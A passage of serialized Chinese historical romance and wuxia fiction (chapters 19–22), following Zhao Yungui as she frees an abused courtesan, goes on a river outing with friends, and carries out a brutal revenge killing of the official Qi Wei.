“又来个送死的。”
慕珂都打不过这两人赵云归更打不过了，可又不能不管他们，拔出腰间的软剑往前走，对峙着。
杀意渐起。
地上的影子交缠在一起，赵云归的身影如雏燕般轻盈，手腕轻轻旋转长剑在男子身上留下血痕，她也被一脚踢飞出去几米远，还好慕珂手疾眼快，接住了她。
“当心。”
等人站稳慕珂往前冲去，看样子是抱了必死的决心，赵云归扶着墙将软剑收回深吸了一口气，“再不出来真要出人命了！”
果不其然，下一秒陆奇从天而降出现在了巷子中，非常不温柔的把慕珂丢了过来，赵云归下意识搂住他的腰才让他没摔到地上。
“你没事吧？”
慕珂尴尬的离了她两米远才摇头。
看着还悬在半空的手赵云归都懵了，她是瘟神吗？不至于吧。
“那个……”慕珂也意识到自己有些过了，可他不知道该说些什么，只能第一时间把地上的箫婉兮抱起，“先走了。”
慕珂冲着她微微点了点头就离开了。
感受到唇齿间的血腥味，轻咳一声，瞬间这个巷子便只剩下她和那两具尸体了。
“得，我也走了。”路过酒楼时赵云归突然想看看箫祁政还在不在便抬头看去，没想到正好与他对视上了。
怎么还在？
疑惑着便看到箫祁政朝她勾了勾手，压根儿没给她拒绝的机会掌柜的就已经到身边了，她只能跟着上去了。
“终于来了。”
“可让我好等啊。”
赵云归坐下时小厮才开始上菜，赵云归便摘下面具倒了杯水送入口中才拿起一旁的筷子吃起饭菜来，“就稍微遇到点儿麻烦。”
“怎么样，见到人了吗？”
脑海中浮现出那个被自己挟持的女子赵云归点了点头，“嗯，见到了。”
“怎么样，眼熟吗？”
19.冥冥之中自有天意
确实有些熟悉的感觉，可赵云归没明白他话里其它的含义，不解的摇了摇头，箫祁政也只是微微点头，眼神直勾勾的落在她的脸上，并不算继续说下去。
不过，“你……脸上的疤淡了许多。”
赵云归夹菜的手一顿，指尖轻轻搭在脸颊上，一丝微笑闪过，“是吗？”
“也许吧，没怎么关心。”
说着她继续低头吃着菜，箫祁政的嘴角闪过一丝不易察觉的笑，静静看着，没再继续追问。
等她吃完后箫祁政带着她出去逛了一会才送她回去。
“王爷……”
箫祁政掀开帘子，两人对视着，静静的等着他接下来的话。
赵云归笑眼弯弯，眼里倒映着月光，整个人都好像在发光一般，在他的目光下微微偏头冲他挥了挥手，“好梦哦！”
箫祁政微微愣住，眼神一直追随着她的背影，直至消失。
“好梦。”
赵云归推开房门就见花芷背对着她坐着，单手撑着头好像是睡着了，一听到开门的声音便起身揉着眼睛走了过去，“绾绾——”
等她走过去又打了个哈欠，看上去困极了。
“你怎么不先休息？”
赵云归关上门与她一同往里走去，看着握着自己的手花芷总感觉不对劲，困意全无，“你受伤了吗？”
“没有，别担心。”
说着赵云归便将这身男装换了下来。
无论赵云归怎样说花芷是一点都不相信，赵云归换衣服她便在旁边直勾勾的看着检查，不过确实没有发现有什么外伤。
“放心吧。”赵云归笑着揉了揉她的头，安抚道，“真的没事。”
“绾绾。”
花芷的声音沉了下去，轻拍了一下赵云归搭在她头上的手，用力的按了一下她的腹部，只是一瞬赵云归的嘴角瞬间便染上一丝血迹，“咳咳！”
“还是……”瞒不过去啊。
“绾绾？”
赵云归闭上眼直挺挺的往后倒去，花芷一个没拉住也跟着倒了下去，有些被吓到了却还是用手护住了赵云归的头。
“嘶。”
花芷跪在地上用另一只手抬起赵云归的头，把自己手抽了出来，顾不得还在颤抖的手将赵云归抱到了床上。
“没事的。”
“一定没事的。”她也没想到会这般严重，看着床榻上的人，双眼早已失了神，强忍着心中的不安，深呼吸让自己保持镇定走到旁边取了一个黑色的针灸袋。
将其打开平铺在赵云归旁边。
解开她的衣裳，腹部一大块的青紫看着骇人。
“没事的。”花芷挤出一丝难看的笑容，仿佛这样可以掩盖她内心的不安，手中的银针朝着赵云归扎去却在刚扎了两根后停下了，银针没有刺进她的皮肤。
明明受伤的不是这只手却在颤抖个不停。
当年就是因为她的失误害死了姐姐才被母亲赶走，那日一别便再未相见，这就是一根刺让她不敢再行医。
“对不起。”
银针掉落在赵云归的身上，花芷也不争气的落下泪来。
这么多年过去了，怎么……“怎么还是这么没用。”
自嘲的摇了摇头花芷拉住她的手将手指搭在上面，不能再浪费时间了，将掉在赵云归身上的银针拿起扎在了自己的手上，另一只手握着自己的手腕才能勉强继续给她施针。
“一定可以的。”
她跪在床前一刻也不敢松懈，额头已经布满了密密麻麻的汗珠，将一颗药丸塞进赵云归的嘴里后她好像用尽了最后的力气，瘫坐在地。
花芷将手上的银针拔出后活动中着手腕，看着床上熟睡的人才放松了下来，给她脸上的刀疤涂了药膏后才去休息。
次日，赵云归醒来便发现了花芷红肿的双手，给她处理了一下出去便看到了坐在石桌旁早早等着的高梨。
“花芷还没醒吗？”
赵云归下意识的看了一眼身后的房间才走到高梨旁边坐下，“她……身子骨比较弱，老毛病犯了。”
“那我去找大夫。”
“不用。”眼看着高梨已经起身赵云归连忙叫住了他，“咳咳。”
“她就是没休息好。”
话虽是这么说，可他还是有些担心，“真的没事吗？”
“真的。”
自己的妹妹都如此说了他也只好打消顾虑，赵云归舀了一勺粥轻轻吹着，突然意识到不对。
“阿兄，你！”是喜欢花芷吗？
看着他脸上难得的红晕赵云归也了然了，脑海里浮现出花芷之前说的话，“你们之前是不是见过啊！”
“是。”
“我……找了她很久了。”
找了很久？赵云归这才明白高梨说找人原来找的是花芷啊！
几年前高梨被敌军暗算，他带的那一队人都被埋伏了，就在他快要咽气的时候一个人走到了他的身前，只不过就迷迷糊糊的见到一个身影。
他也不知道自己是怎么被救回去的。
当时花芷便留在营中照顾他，帮助受伤的将士们治伤，见到她的第一眼他的心中便升起了一丝不一样的悸动，相处中高梨才发现喜欢上了她，可花芷对谁都很好，他不敢表达自己的喜爱，也不敢与她过多的交谈，突然有一日他连名字都没来得及问花芷就不告而别了。
“唉！”
后面无论怎么也找不到她了。
就像是根本不存在一样。
直到那日，再看到花芷时他整个人都不知所措了，那时他便觉得他们之间就是命中注定。
本以为只是救了他一命，没想到他们还相处过一段时间呢，不过花芷当年不告而别应该是不喜欢高梨吧，赵云归便继续听着他说没敢开口。
吃完东西高梨见花芷也不会出来了便离开了。
“二小姐，药熬好了。”小秋端着冒着热气碗走近，一股浓郁的药味将两人环绕。
“端进去。”
“是。”
赵云归将床上还昏睡着的花芷扶起抱在怀里，“姐姐——”
“姐姐，对不起。”
花芷感受到动静迷迷糊糊的嘀咕着，赵云归握住她的手后才安分下来。
小秋将碗端近尝试着给她喂药，可她却像是感受到一般竟轻抿着嘴，让这药是一点都进不去，赵云归只好稍微用力掰开花芷的下巴，见她的嘴微微张开才一点一点的继续喂药。
边喂着还要用帕子擦拭着从嘴角流出的药。
折腾了好久这一碗药才见底。
见床榻上的人表情不再痛苦，面色恢复红润后才放心出去。
这一次她选择了走正门却被拦在了外面。
一个十分丰腴的女人伸出手用手上的团扇抵住了他的肩，毫不掩饰的打量着他脸上的面具，“公子难道见不得人？”
“怎的到了这儿还戴着这破玩意儿呢！”
说着花双儿将手往上移，就在
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要碰到面具时赵云归用手上的扇子挡住了她的手，从腰间掏出一块金子丢到她的身上。
花双儿连忙接住，也不拦她了。
“客官里面走。”说着她一脸谄媚的将赵云归推了进去。
走进，那轻纱如瀑布般垂落，偌大的地方被分成了一个个空间，薄纱后面的身影似幻似真，引人遐想。
此时所有人的目光都落在台子上，昨日被她挟持的那女子半抱琵琶一笑似百花开，连着珍珠的发带缠绕着耳边粉色的长穗垂落肩头，素雅的纱裙让她如天仙入凡间，令台下之人皆心醉神迷。
好一个酒不醉人人自醉啊！
见赵云归盯着台上的人停了脚步花双儿立马懂了，“清儿啊是我们这儿出了名清倌儿，客官可以去看看别的！”
“我这儿最不缺的就是姑娘！”
花双儿在旁边说个不停，赵云归便又掏出一块金子递给她，俯身贴近，“可我……”
“只要她。”
她一听便知道这是个姑娘了，眼神再次变得探究，不会是哪家小娘子替自己夫君找妾室吧？
“这……”她如此决绝花双儿倒有些为难了。
赵云归再一次取出两块金子递到花双儿面前时她动心了，反正清儿也不会跟她走，让她们见一面倒也无妨。
“这边请吧！”
花双儿把赵云归带到二楼的一个房间后便留她一人，走之前还告诉她清儿来与不来都看她心情，若是等不到便自行离开，不必知会。
从天亮等到天黑房间的门始终没有被打开。
赵云归捂着已经咕咕叫的肚子，都已经走门口了又折返了回去了，推开窗户，见没人直接翻窗到屋顶上了。
找了一圈后整个找到了清儿的房间。
这个位置正好能看见她在弹琴，而另一人被薄纱挡住了只能隐隐约约看见一个轮廓，却也并不清晰。
清儿弹着弹着微微抬头两人便对视上了，吓得赵云归放回瓦片便跳下去了，回到那个房间推门出去，熟悉的身影从面前走过。
沈静安？
只见两个容貌姣好，前凸后翘的女人一左一右被他拦着走进了旁边的房间。
看来他风流多情的传言非虚啊。
只是她的事儿做到了吗，这伤才刚好便这般急不可耐了？
她的注意力也没有被过多的吸引，移开眼神没想到花双儿就依靠在不远处看着她，冲着她挥手。
“慢走哦！”
没想到赵云归竟径直朝她走去，“客官还有事吗？”
“海棠在哪儿？”
花双儿抬手用手中的扇子挡住半张脸，微眯着眼睛上下打量着，看上去稍微的警惕了些，“海棠啊……她今日不接客哦。”
“那我明日……”
花双儿打断了她，环抱着手臂摇头，“明日也不接客。”
见赵云归还想继续说她的脸上浮现出一丝不耐的情绪，“后日。”
“大后日都不接客。”
“也可能这个月都不接客了，客官慢走。”
赵云归点了点头将腰间的钱袋子扯下扔给她，不屑的打开没想到这满满一袋都是黄金，瞬间傻了眼了，“我赎她。”
没想到这还是个人傻钱多的主啊，既然如此，那，“这……好像不太够啊！”
不够吗？
赵云归撩起衣摆将大腿上的匕首拔出，吓得花双儿往后退一步，五官都要皱到一起了，“你……你想干嘛？”
20.对不起，我来晚了
“你……你别乱来啊！”
花双儿被突然靠近的匕首吓得连连后退，原本夹着的声音也破音了，眼见着都准备叫人了，赵云归却摊开了手，“拿着它去安王府取。”
见状花双儿松了一口气，“早说啊。”
吓死个人了。
突然反应过来，准备拿匕首的手一顿，瞬间收了回去，尴尬的不停的扇着手中的扇子，这人来时也没说是安王的人啊，“刚刚就是开了个玩笑，莫当真啊。”
“够，这怎么会不够。”
“奴家这就带您去找海棠。”
花双儿把她带到了后院的一个小房间前，取出腰间的钥匙和一张叠好却有些旧的纸张交到了赵云归手中，示意她自己去开门，“这人啊，以后就是你的了。”
“与我可就再也没关系了。”
说着手中的扇子轻扇着，不愿再多做停留，抬步离开了这里，钥匙刚插进里面的人就听到动静般的无力的拍打着木门。
“砰！”已经被打开的锁掉到了地上，伸手拉开木门，脆弱不堪的海棠失去了最后的支撑随之倒在了她的脚边，原本就暴露的衣裳变得更加破烂不堪，裸露在外的皮肤上是大大小小的血痕和擦伤。
“海棠！”
赵云归没想到她竟会收到这般折磨凌辱，蹲下身将她紧紧拥入怀中，拉过她的手，感受着她极其微弱的脉搏。
“对不起。”
“我来晚了。”早该想到海棠隐瞒他的踪迹必定会被那些人毒打，早该想到的。
“对不起。”
泪水从她那都快要睁不开的眸子里流出，嘴唇一张一合嘀咕着什么，可就是算贴近也听不太清，赵云归安抚着拍了拍她的背将她打横抱起，“没事了，我这就带你回去。”
“好烫！”海棠的脸颊贴在赵云归脖颈上的皮肤上，害的她的皮肤都有些微微泛红了，她已经快失去意识了，得快些回去才行。
“我们回家。”
可此时若是将她带回赵府赵离免不了会将她赶出去，所以，等上了马车后便朝着外面租的宅院驶去了。
将海棠抱到床上放好后便给她医治了。
虽然伤口都不深可由于太久及时处理的原因已经感染，只能先将已经烂掉的头剜掉，疼的他表情变得狰狞，浑身上下都冒起来冷汗。
“啊！”
她的每一寸皮肤都烫的厉害赵云归只能打了清水来边给她擦拭着边处理伤口给她上药，等包扎好才反应过来这里没有她能换的衣裳，没办法，只好出去买了几套衣裳顺便定了些吃食送来。
看着床榻上不知是睡沉了还是疼晕了的人，今日她定是醒不来了，将熬好的汤药一点点喂给怀里的人，便留下书信离开了。
这原本该因为在慢慢变暗的天色而变得冷清的街道却明显多了许多巡逻的人，赵云归没多加理睬加快了回去的速度，这宅院稍微有些偏，这样来回几趟等回到赵府时天色已然暗了下去。
有些失神的打开门。
“阿音！”
花芷见她回来立马就就举着她那肿成馒头的手扑过来抱住了她，“呜呜！”
“你看看。”
“怎么会弄成这样了啊！”
赵云归将缠绕在上面的白布一圈圈取下，露出了里面红肿的手，轻轻戳一下就留下来一个小坑。
“呜呜！”
就这么眼睁睁的看着她玩儿起来了，花芷委屈的撇着嘴，感觉下一秒就要哭出来了。
“看你下次还敢不敢了。”说着赵云归拉着她走到床边让她坐下将在外面配好的药膏均匀的涂抹在她涨的通红的皮肤上。
“呜呜。”
将药膏涂抹好喝了药后花芷便沉沉的睡下了。
赵云归换上自己的衣服坐在铜镜前看着镜中脸上的刀疤，只觉得麻木了，可若是云归还活着呢，希望她回来时看到的不是如此的。
涂好药后她也躺下了。
可每当她闭上眼，清儿抬头时那含笑的双眼却在脑海中怎么也挥之不去，特别是箫祁政昨日说的话，现在细细想来总感觉他是想表达什么，只是自己没反应过来罢了。
到底，“到底是什么？”
思绪翻滚，扰的人迟迟无法入眠。
次日起来，花芷的手稍微好了一点可看着还是骇人，便出去拿了药交给高梨，花芷不喜欢喝药赵云归便嘱咐让他一定要亲自看着她喝完，便去了官府给海棠弄了身份证明。
连着几天赵云归都是先去映月楼再去外面的宅院，天色暗了便回赵府，三点一线。
赵云归也不知箫祁政到底是什么意思便只能先见到清儿才能明白，可每次都是同一个房间最后也同样的结果。
一日复一日始终没有相见。
近半月过去了，海棠的伤也好的差不多了，赵云归便让她先住着若是想离开离开便是，从宅院出来便去了趟安王府，刚好看到往外走到慕珂，被告知箫祁政前几日就离开京城了。
而箫婉兮上次遇害后便反反复复的生病，他便一直守着的，今日刚好出来取个东西，没多聊便急着离开了。
“告辞。”
路过今朝醉时赵云归才注意到悬挂在二楼的灯笼发生了变化，这是乔牧在找她的信号。
看来是有急事。
回去换了一身衣裳后进到鬼市直奔叁生堂。
乔牧并不在，拿起被压着的信封打开，没想到是宫里的人让她去给长平长公主诊治，还有，“齐卫早就被停职了？”
他如今身受重伤已经在普陀寺休养休养了一阵了，只是这个消息不知被谁压住了，这些天赵云归并没有听说过。
看着手中的令牌陷入了沉思，若是进宫免不了与太后碰面，到时候可就麻烦了，可看慕珂的样子箫婉兮却是病的很重很蹊跷，倘若不去她很有可能会一命呜呼。
思索着乔牧从暗门走了出来。
他的身后是……沈静安！
下意识往后退了一步见乔牧的样子看上去并不是被威胁才稍微放松些，“怎么？”
“沈公子这是上赶着来给我送钱了？”
“想请姑娘帮个忙！”看沈静安的样子确实像是遇到了什么急事儿，赵云归便也就没急着拒绝，乔牧见状走到了她身边，将沈静安给的钱袋递给了她，接过一看是满满一袋的金锭。
“不愧是沈相嫡子，出手就是阔绰啊。”
沈静安也是看着她的顾忌便留在原地任由她打量着，可她并没有接过那钱袋子，直接绕过两人走到一边坐下了，“公子上次的债都没还清，怎的还上赶着欠人人情呢。”
“让我听听，你想要我救
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谁？”
“长公主。”
赵云归微微点头避开了视线，如今皇城仅有一位长公主，那便是箫婉兮，她本就是打算救她的，还想着该如何，好巧不巧他便送上门来了，只是，“我有一个要求。”
“请讲！”只要不过分便没问题。
“我不进宫！”
“你是把人运出来还是如何我都不管，总之我不进宫！”
思索片刻沈静安答应了她的要求，等过两日箫婉兮稍微好些了带她过来，只是，“我要怎么找你呢？”
沈静安连着好几天来都被告知她不在，若是后面将箫婉兮带来她又不在不就麻烦了，想让赵云归知道他们来了还不好说，只是这可不是她该考虑的事了，所以，“听天…由命。”
“我还有事，走了！”
拿起桌上的钱袋将乔牧拉到一边，分了一些给他，压低声音道，“安王去哪儿了，知道吗？”
“景王出事儿了。”
箫轻尘遭遇暗杀后便警惕了一些，可有人要害他便防不住啊，如今已经昏迷了好几天了。
毕竟除了当今圣上就只剩下他们俩兄弟了，所以箫祁政必定是要去照看的，吩咐了几句又去找了海棠将剩下的给她才回赵府。
回去时花芷不在房间，便坐在外面等着她。
“绾绾？”
“绾绾！”
感受到肩膀上的力度，赵云归被吓到一激灵，“怎……怎么了？”
“我叫了你好几声了都不理我。”花芷偏了偏头无奈的坐到一边，单手撑着脸撇嘴看着她，“怎么了？”
“心不在焉的。”
“我……”赵云归摇了摇头，看向她的手，“感觉怎么样了？”
花芷将手举起在她眼前晃了晃。
“已经消肿了。”也不疼了，估摸着过两天就能完全恢复了。
“嗯，那等完全好了我们出去待几天吧！”只是光她们俩肯定不行，还得叫上几个人，而这个艰巨的任务自然就落到了花芷的身上。
“啊？”
“可以是可以。”
只不过，“真的只是去郊游吗？”总感觉赵云归今日有些怪怪的。
可又说不上来。
“啊？”赵云归没懂她这话的意思，双手撑着下巴，“对呀，不然还能是干嘛。”
“就去玄清江吧。”
“玄清江？”那里也有些太偏了吧，怎么突然想着去那儿了？
“对呀，那里清净嘛—！”
不管赵云归说什么花芷都会支持她的，这次自然也不例外，只当是赵云归遇到了什么事心情不好所以想出去散散心，“好啊！”
赵云归拉着花芷起身将她往外推去，“交给你喽！”
花芷就这么没有一丝准备的到了高梨的院子。
“最好让他把心缇姐也叫上！”这么久了都没有一起出去过，正好趁着这次机会一起出去。
“好。”
赵云归都不用去猜便知道高梨会同意的。
又等上了个五六日也没见箫婉兮出宫的打算，眼见着花芷的伤也好了便先收拾东西出发去玄清江了。
只是他们原定的是加上高梨和赵心缇一起四人同去，可临去之时柳眉昭旧疾复发赵心缇只好去照看，最后便只有他们三人了。
21.我说了要他偿命的
马车停在山间，几人便徒步往目的地走去。
“好舒服啊！”
山水相依，云雾缭绕，玄清江原本就处在普陀寺上方的山林间，自然也能听见那沉闷的钟声了。
清晨的湖面覆盖着一层白雾，拂面的微风带着一丝凉意让人好不惬意，赵云归躺在竹筏上脸上盖着一片巨大的叶子小憩。
“绾绾，你想吃鱼吗？”指尖轻轻戳着赵云归的肩膀，压低声音在她耳边说着。
赵云归瞬间就懂了她的意思，抬手将脸上的叶子揭开，坐起身，“阿兄！”
“花芷说她想吃鱼了！”
“啊！？”花芷也是没想到她这么大声就喊出来了，一瞬间脸就爆红了，不好意思的扯了扯她的衣裳。
“没问题！”
“交给我！”
高梨自然不会让花芷失望，再三保证自己一定能抓上来，两人便又重新躺了下去。
高梨将长衫提起系在腰间，手中握着早就削好的细木条，半跪着聚精会神的盯着这清澈的江水，只是那鱼儿精明的很，灵活躲开。
倒是让这竹筏一抖一抖的。
都好半天了，“到底行不行啊！”赵云归都快被晃吐了，无奈坐起身，脸上的叶子掉到腿上又被一阵风吹到江面，逐渐离她远去。
“这急不得的。”花芷也坐起身有些难受的抓住赵云归，“得慢慢来。”
稍微缓了一下，微微俯身，双手撑着竹筏，仰头看着另一边的高梨，一个劲儿的给他打气，“一定可以的！”
“放心，今日一定让你吃到鱼。”
“得。”赵云归抽了抽嘴角，闭上眼又躺了下去。
“绾绾！”
花芷见她又躺下了转过身趴在赵云归旁边，用手指戳着她的手臂，有些委屈的说道，“你怎么回事啊？”
“我真的要伤心了！”说着，花芷作势要哭出来的盯着她。
“还不是因为你。”
赵云归转身侧躺着一手撑着头，与她面对面，迷迷糊糊的，眼睛都快睁不开了，说话也是有气无力的，“折腾了我一夜！”
“我现在就想做一条咸鱼，晒成鱼干！”
“哼！”见赵云归又躺了回去花芷跪坐在竹筏上幽怨的盯着她。
“一边玩儿去哈！”
“呐！”高梨将木条伸到赵云归的面前，插在上面的鱼儿不安分的甩了两下尾巴，“拿去晒鱼干吧！”
“哈哈哈哈！”
“哈哈哈！”
两人的笑声是一点儿都不避讳，气的赵云归坐起身瞪了高梨两秒后伸手把鱼拔出，毫不犹豫的丢回水里。
“诶！”
“好不容易……”插上来的啊，就这么丢了！
花芷在旁边低着头，都快憋出内伤来了。
高梨无奈重新去插鱼，赵云归将手放入水中感受着水流，“花芷！”
“嗯，怎么……”
“噗！”
一把擦掉脸上的水，看着眼前的罪魁祸首，“绾绾——！”
“在呢！”清脆悦耳的声音响起，伴随的是又一捧水扑面而来。
“啊！”
低声叫着，捧一捧水泼了回去。
竹筏跟着摇来摇去，高梨只觉这鱼儿好像在跳舞，用力戳去，“扑通！”
两人停下手中的动作看去，竹筏上的高梨已经不见了踪影，“阿兄！”
“咳咳！”
水里的高梨探出头，甩了甩头上的水。
三人沉默。
见状，高梨抬起手举起木条，上面赫然是一条肥大的鱼，赵云归与花芷同时转过头相视一笑，又同时竖起来大拇指。
“好一个…诱饵战术啊！”
“哈哈哈哈！”
反正都已经掉进去了了，便又抓了好几条几人才上岸。
拾柴火生火。
高梨则是先去客栈换衣裳去了。
处理好后赵云归便坐在火堆旁翻烤着鱼，花芷倚靠着她的肩膀，“绾绾，等所有的事情都结束了我们找一个依山傍水的地方生活吧！”
边说着眼里是止不住的欢喜，已经能幻想出以后无忧无虑的样子了。
“就……”我们。
什么都不用不用管，自由自在的。
赵云归的眼神始终在那火上的鱼上不肯挪开，花芷也挪开眼神静静看着火堆，没再提。
等高梨回来时鱼已经烤好了。
“手艺不错啊！”
“那是，我们绾绾是最棒的了！”
吃完东西后天色也渐渐暗了下来，花芷和高梨两人聊的正开心呢，赵云归看着快要熄灭的火堆，“花芷。”
“嗯？”
两人向她看去，赵云归还在犹豫要不要开口。
就见花芷起身朝她走了过来，伸出手，“累了吗？”
“明日要去打猎今日便早些歇下吧。”
“嗯。”赵云归点了点头，拉着花芷的手借力站起了身，看上去有些心事重重的，只是花芷侧身挡住了她高梨才没发现。
“走吧。”
把两人送回房间后高梨才转身去另一个房间。
关上门后赵云归坐在木桌旁倒了两杯水，等花芷收拾好走过来时就见她有些失神，端起桌上的水喝掉后伸了个懒腰，“好困啊！”
“绾绾……”花芷思索一瞬才再次开口，“你也早些歇息吧！”
说着花芷放下杯子，打了个哈欠去躺下了。
看着背对着她躺下的人，展开桌下握拳的手，还没有用完的白色粉末赫然入目，“还是什么都不要知道吧！”
这样才是最安全的。
为了避开楼下的客人和小厮，便翻窗离开了。
夜幕低垂，周围的一切都静悄悄的，只是微风袭来时不时会传来轻轻的沙沙声。
穿过树林终于看到了那熟悉的石板路。
赵云归脱掉鞋袜踩上去，沿着一直走，一步步踏上台阶，翻过黄墙，来到了一个木门前。
推开。
皎洁的月光与她的影子抢先一步进了屋子，可齐卫仍昏睡着，并未发现这并不寻常的动静。
停在床榻边冷眼看着，取出随身携带的针灸针冲他扎去，齐卫睁眼的瞬间就被赵云归捏住下巴塞了团毛巾到嘴里。
“呜呜！”
“嗯——”
可他此时动弹不得，只能发出弱弱的呜呜声。
拔出立在床边的长剑，打量着，齐卫的眼里满是慌张和惊恐，“他们已经放弃你了呢！”
“你以为，你真的逃得掉吗？”锋利的剑刃穿过他的胸膛，没有一丝犹豫，皮肉撕裂的声音在这夜晚显得格外刺耳。
“嗯——”
“唔——”
齐卫疼的浑身战栗，眼角滑落两行生理泪水。
“唔——”
齐卫颤抖着，眼里全
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是绝望，他想要活下去可赵云归一丝心软都没有，也不会有。
做尽坏事时，“你就该想到有今日的。”
神医谷众人的脸在脑海浮现，用力拔出长剑又插入，一次次重复着直到齐卫眼神迷离，赵云归才逐渐的冷静下来。
深呼一口气，利刃划破脸上的皮肉。
一下。
两下。
……
血肉模糊。
长剑再次插进他的身体赵云归才松开手，拔出针灸针往后退了一步，微微仰头泪水滑落，赵云归轻笑一声取出一个白色瓷瓶打开扔到他的身上。
里面的液体缓缓流出，接触到他时发出一阵滋滋声。
“嗯——嗯！”
“嗯——啊——”
本来都已经失去意识昏过去的齐卫猛的睁开了眼，疼的从床上滚了下去，想要用手把身上的东西弄掉却只是加速了手上皮肉的灼烧速度。
齐卫痛苦低吼着，而赵云归早已离开。
看着有些变了位置的鞋袜赵云归愣了一瞬才重新穿好，踩上石板路，朝着普陀寺的反方向走去。
“小公子？”
“你……”又跟踪？不过他们怎么这么快就回来了？
慕珂环抱着双臂依靠在树旁，看样子等了有一段时间了，“二小姐，殿下在等你。”
“好。”
跟着他上了马车，就见箫祁政阴沉着脸，感觉进了马车温度反而降低了，“你知道你这是在做什么吗？”
赵云归闭口不言，箫祁政用力捉住她的手腕迫使她离自己更近些，“忘了我说的话了？”
“你做事之前有想过后果吗？”
“没人看见的！”对上箫祁政的眼神她有些心虚的低下头，“除了…你。”
她始终低着头，箫祁政不说话了她的声音仿佛染上些失落，“所以，王爷…是要抓我吗？”
“你说呢！”
箫祁政的声音还是冷冽的厉害，看上去是真的气的不轻，思索一瞬赵云归将手腕从他手中轻松的挣脱开，往他身边又凑近了些。
抬头。
箫祁政感受到下巴传来一阵柔软。
看去时赵云归已经退了回去，像是刚刚什么也没发生一样，箫祁政愣了一瞬，忘记了接下来要说的话。
“我说过……”看着他的眼眸，赵云归的眼皮颤抖着，泪水没有征兆的滑落打湿了面纱，“我一定…要他偿命！”
“哼。”抽泣声传来，都已经到了嘴边的狠话又被生生咽了回去，伸手温柔的为她擦拭着泪水，可这却像是打开了什么闸门一样，越来越多，箫祁政整个人都慌乱了。
“别……别哭了。”
“我不是在怪你，我只是……”害怕，害怕再一次看着她浑身是血的模样。
看她低头抽泣的模样实在是没辙，安慰了半天才止住眼泪，抬头用她那红红的眼睛幽怨的看了他一会儿，才跟着慕珂到旁边的马车换衣裳。
独自坐着，无奈摇头。
“啧，还真是难搞啊。”害的眼睛都哭疼了。
换好衣裳便送她回了客栈。
小心翼翼的从窗户爬进去，生怕药效过了把花芷吵醒了。
又开门出去要了两个煮鸡蛋才回房，躺在床榻上，两个鸡蛋敷着她有些红肿的眼睛，想到箫祁政提起大后日箫婉兮便会出宫，心中升起一丝很不好的预感。
他真的是无意提起吗？
22.可千万把自己藏好了哦
清晨，朝阳缓缓升起，阳光透过缝隙撒落与那残留的露珠来了个亲密接触。
外面的吵闹声也大了起来，花芷睁开眼便看到两个圆溜溜的鸡蛋躺在她的旁边，坐起身不解的一手拿着一个蛋打量着，“嗯？”
“绾绾？”
“你……昨晚…背着我偷吃了？”
“啊？什么？谁去偷吃了？”赵云归半眯着眼看了许久才反应过来，也终于是清醒了。
“哈哈哈！不是……”花芷这姿势也太搞笑了吧。
“笑什么？偷吃不叫我！”花芷气呼呼的把手上的蛋塞到赵云归的手里就爬了出去。
“哎呀！”
“我有什么办法嘛。”赵云归故作委屈的低下头见花芷在她身边坐下才抬头，憋着笑看去，“叫不醒啊！”
“绾绾！”
“咚咚咚！”
花芷轻哼一声便去开门了，两人换好送来的衣裳便出门去了，高梨已经坐在下面等着了。
看着桌上大半都是花芷喜欢的吃食赵云归的嘴角便压不住了。
坐下，就高梨给花芷夹菜的功夫，她已经替高梨想好如何提亲了，看着两人说话她便埋着头吃东西，降低存在感。
“多吃点。”
“嗯嗯。”夹起碗里的菜喂到嘴里，冲着高梨甜甜一笑，眼眸弯弯，便惹到他慌张的移开了眼。
等今几人骑马出去时正值正午，那阳光不是一般的烈，还好是几人在山野间有树木挡着，再加上缱绻微风带着些水汽，这般便也不是那般燥热了。
“阿兄，花芷不太会骑马哦，你看着些。”说着赵云归便率先翻身上马，牵着缰绳控制着，“我就先走了。”
“驾！”
“诶！”花芷伸了伸手还没来得及开口说话呢赵云归的声音便被树林吞没了。
“我帮你。”
在高梨的帮助下花芷成功上马，两人定是追不上赵云归了，便控制着马慢悠悠的往里去，终于到了一个比较开阔的地方。
“嘘！”
听到动静后高梨从箭篓中取出一支箭，迅速拉弓上弦，破空声后便是一声痛苦的呻吟，高梨翻身下马走去将草丛里已经没有了生机的兔子提起，走到花芷身边晃了晃。
“哇！”
“好厉害！”
高梨笑着低下头，花芷抬手鼓掌之际马突然受了惊般的乱动。
“啊！”
手中的缰绳早已松开花芷失了重心向后倒去，听到尖叫声的高梨将手中的兔子扔到地上，一个健步过去接住了花芷。
还好这马没有乱跑不然今日免不了重伤了。
花芷吓得死死拽着高梨的衣襟，双眼紧闭，还没从刚刚的惊慌中缓过神来。
本想开口安抚，可看着怀中的人一时间便不想开口说话了，静静的看着她，过了一会儿花芷才缓过神来。
睁开眼，入目的便是高梨那微颤的双眸。
睫毛好长啊！
对视一瞬花芷才反应过来自己还在高梨怀中，连忙松开了手，等高梨将她放下后有些不好意思的往后退了两步，“谢…谢谢！”
在往里面走也找不到赵云归了，这里还算宽阔适合歇息，“就在这里等云归回来吧。”
“好。”
干等着属实有些无聊了，花芷便想着让高梨教她射箭。
高梨自是愿意的。
接过弓箭，高梨说一步她便做一步。
可花芷的力气还是有些小了，拉这弓属实是有些勉强了，在她委屈的目光下高梨走到花芷身边握住她拿弓的拿手的手腕，“我帮你。”
“好。”
等花芷开了后高梨才走到她的身后环抱住她，温热的手掌覆在她的手上。
脸颊贴近她泛红的耳朵，温柔的声音在耳畔响起。
“站直！”
“四指拉弓，大拇指自然弯曲指向掌心。”等花芷按照他说的做好后高梨也抬手拉住了弦，调整好后带着她的手将弦拉开，“松手。”
“嗖！”
铁箭射出，狠狠的钉进树干。
“咳咳。”
突如其来的咳嗽声格外的刺耳，吓得花芷松开手侧过身想要看清来人，额头却直接撞上了高梨的胸膛。
“嘶。”
抬头便是他上下滚动的喉结。
花芷连忙别开视线捂着额头向后退了两步。
“没事吧？”高梨急切的走近想要看看她的额头，可赵云归已经走到了他们身边。
“呀！这是干嘛呢！”
花芷连忙挽着赵云归的手把她拉走了，“是绾绾呀！”
“快让我看看你都打了些什么啊！”她的声音依旧是柔柔的，可她那眼神都快在赵云归脸上剜出两个洞了，赵云归只好装作什么也没看见带着她去看自己的成果。
“绾绾真厉害！”
“我们快些回去吧！”
等回去后让客栈的后厨处理了一下这些动物，就已经日落西山了。
几日带着生肉回到了昨日江边生火的地方，重新生起了火堆，将涂好蘸料的肉架上光看着便忍不住咽口水了，这简直是赤裸裸的勾引。
“唉！”咬了一口手上干巴巴的囊又将它丢在一边，躺在了花芷的腿上，眼巴巴的看着火上滋滋冒油的肉，“馋了！”
